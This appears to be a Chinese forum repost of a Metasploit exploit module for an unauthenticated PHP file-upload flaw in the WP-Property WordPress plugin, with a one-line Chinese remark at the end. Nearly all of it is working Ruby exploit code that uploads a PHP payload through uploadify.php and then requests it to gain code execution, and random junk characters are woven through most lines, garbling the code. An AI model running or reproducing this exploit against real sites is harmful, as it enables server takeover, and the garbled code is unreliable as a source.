WordPress WP-Property PHP 文件上传漏洞9 w2 Y$ A. I e2 }; A# o* c1 \
1 X2 @3 B! A: y. N1 V ## # This file is part of the Metasploit Framework and may be subject to
5 C* ]# c; q7 D' A& r4 h" ?7 K. S# V! {( h0 ]3 S9 }
# redistribution and commercial restrictions. Please see the Metasploit6 T6 {1 J; D( a( p6 w
~. J& M2 e' X9 x# Framework web site for more information on licensing and terms of use.
D" v3 c: f& s& O5 V7 G
% b$ } A- Y2 ?- _! L# http://metasploit.com/framework/ ##
+ v4 K7 z1 P9 w+ Q
0 Z( z7 w- Z3 r9 | a# Q( k5 V/ O# d
+ @0 H, m x+ B+ D
. q# b! q- H% h4 j- Z8 Y9 i" g' |+ ?7 G8 \" d/ ~3 b2 u9 C
require 'msf/core'
6 F/ ^, c7 l# K: x5 Nrequire 'msf/core/exploit/php_exe'! m8 {" |0 M( @
+ U; k- p; E+ V' Cclass Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit: hpEXE def initialize(info = {}) super(update_info(info, 'Name' => 'WordPress WP-Property PHP File Upload Vulnerability',/ A) } g# V1 d0 A
'Description' => %q{6 S# p9 r; t) N5 L
This module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress plugin. By abusing the uploadify.php file, a malicious user can upload a file to a temp directory without authentication, which results in arbitrary code execution. }, 'Author' =>
8 s+ m8 r8 B/ t# o' w[; o B- h! K* n7 e
'Sammy FORGIT', # initial discovery
" e0 X9 ]+ Z0 o'James Fitts <fitts.james[at]gmail.com>' # metasploit module
6 t8 C2 `+ h2 {; m' }' f7 z: O],
) l# x/ E, K! A' D5 O2 ?, w. N% a'License' => MSF_LICENSE,' P3 |3 i' Q/ y
'References' =>
! d! K7 f. b( ]3 O1 s[/ ?$ i; B8 X& n8 f
[ 'OSVDB', '82656' ],1 }1 j. i* a& ]$ U6 r
[ 'BID', '53787' ],9 L3 i9 c5 p% s H
[ 'EDB', '18987'],
) p/ ]5 f, M3 v$ V* u[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ]
- y6 s* ]2 b8 [+ F! W; G7 A],
- S9 |* }9 W' ]8 O# q'Payload' =>
, P' X$ r8 T/ ^6 _6 X{
; G0 @. k2 F: ]+ U6 S3 @9 U'BadChars' => "\x00",8 e# z& ]- I4 G- y- g5 {6 \
},
K5 J7 y3 g( w$ k3 O$ q- m'Platform' => 'php',$ Z: y c% A. ?+ M% `. v: H9 g x0 y
'Arch' => ARCH_PHP,+ z% R- [* i$ P6 r& D
'Targets' =>
4 X) d$ w* w1 V: N; `[
+ ^7 n7 A2 {4 `# C[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ], ` L$ k, O5 H8 e9 D5 E# b
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]; d8 O- z& M5 s$ @( m
],! `; b4 l% l7 X) |5 N
'DefaultTarget' => 0,) ?9 a; A& L8 q; k4 L2 T
'DisclosureDate' => 'Mar 26 2012'))
+ U$ ?. `6 }& ?" N+ t1 h" }+ h" k/ f( z5 Z+ `) i
register_options(
9 @0 P" x0 X( t1 P[3 G! H4 h. U `# B3 @; z8 d
OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])# j u, `0 x' f+ ]
], self.class)
) q* ?& p# |; ?) ~8 \2 [+ U" bend
! P/ ^6 \1 J. |' O$ R9 r) x/ n7 U8 y3 T/ E2 \7 I$ s
def check1 |. P$ f9 O2 e
uri = target_uri.path: A" t& B, n1 }# V, |
uri << '/' if uri[-1,1] != '/' res = send_request_cgi({ 'method' => 'GET',7 U1 X$ P6 Y0 P! T
'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php"& q# s' u! a3 j+ e9 V
})7 {( }! `4 ]- m
, V& m) G3 {; l1 @3 U1 w* Z1 _. Vif not res or res.code != 200! v2 j/ k) ~8 r ?( @' P7 v
return Exploit::CheckCode::Unknown
5 ^% w0 {* I' \ T3 gend
* t: q, n- v; Z4 @, l9 s T$ z3 {
" t$ f# }, x( g5 Z9 G+ creturn Exploit::CheckCode::Appears+ Q$ c( g* a; {" j$ n0 b5 q
end
/ G# h7 P& w9 X/ h- w ~# l9 R3 m/ M+ H; L. ^: j
def exploit# q, b# h' [# m6 e5 j
uri = target_uri.path
A( r# t4 |, {+ [/ uuri << '/' if uri[-1,1] != '/' peer = "#{rhost}:#{rport}" @payload_name = "#{rand_text_alpha(5)}.php" php_payload = get_write_exec_payload(:unlink_self=>true)
6 X' ]" W# ]# m( N5 r! [# P% r: q. s7 J; y; K* b
data = Rex::MIME::Message.new L2 Q5 w! _6 J( K/ P. b4 n* y- ~
data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")
0 F) e/ t& ~8 N' m# Bdata.add_part("#{uri}wp-content/plugins/wp-property/third-party/uploadify/", nil, nil, "form-data; name=\"folder\"")
5 [2 T4 v+ x' H4 z& s0 n( t$ ppost_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')4 u* ^5 J, o+ b ~2 G: Q& e u3 \
' _& [$ n7 Y# ]0 Y. d2 ^
print_status("#{peer} - Uploading payload #{@payload_name}")
n2 ]# Z' P0 I) D: pres = send_request_cgi({/ ] c- v Q2 b6 P1 C# r2 R
'method' => 'POST',
+ U* f5 @5 B, O: s4 B# |$ J4 E'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php",8 u$ p& n, `$ R, B% P
'ctype' => "multipart/form-data; boundary=#{data.bound}",
; Z$ x8 N( X8 p" s'data' => post_data9 n7 ^& ]. _- z6 ]! X7 _; m
}), |3 j0 v; K7 O9 ?4 ~3 B1 g7 R
( S4 W' B- c4 J7 M6 h( F6 S; g. E
if not res or res.code != 200 or res.body !~ /#{@payload_name}/3 B3 O: L' I9 Q/ b4 X; V6 M& W. c) V
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")4 s e' j. d8 Q; n
end
' y3 m( K2 }- Z, c+ q! M& J; T0 T
upload_uri = res.body7 B7 `$ r3 d7 u' x( [. r; ~0 W
) |# f0 P! B3 M; v* N" Dprint_status("#{peer} - Executing payload #{@payload_name}")
2 v4 G9 S. P( F' i* K; Z7 a9 ares = send_request_raw({5 h/ t$ Z0 O5 ?$ C! y4 [ S6 m
'uri' => upload_uri,
% |0 l0 M4 [; N; x% d- c'method' => 'GET'( k' ?' Y6 P* E* M O7 ]
})! B( E6 `! U0 s/ [2 o2 n9 G! ^. I
end
% z8 |# t" I% g# h0 bend" r0 x7 q; m- K5 W, X; B
3 R6 U( A+ e W不要问我这写的是什么 怎么利用 我是说msf.
, M! [; s6 d* C
4 B0 u0 Z/ w' L: k |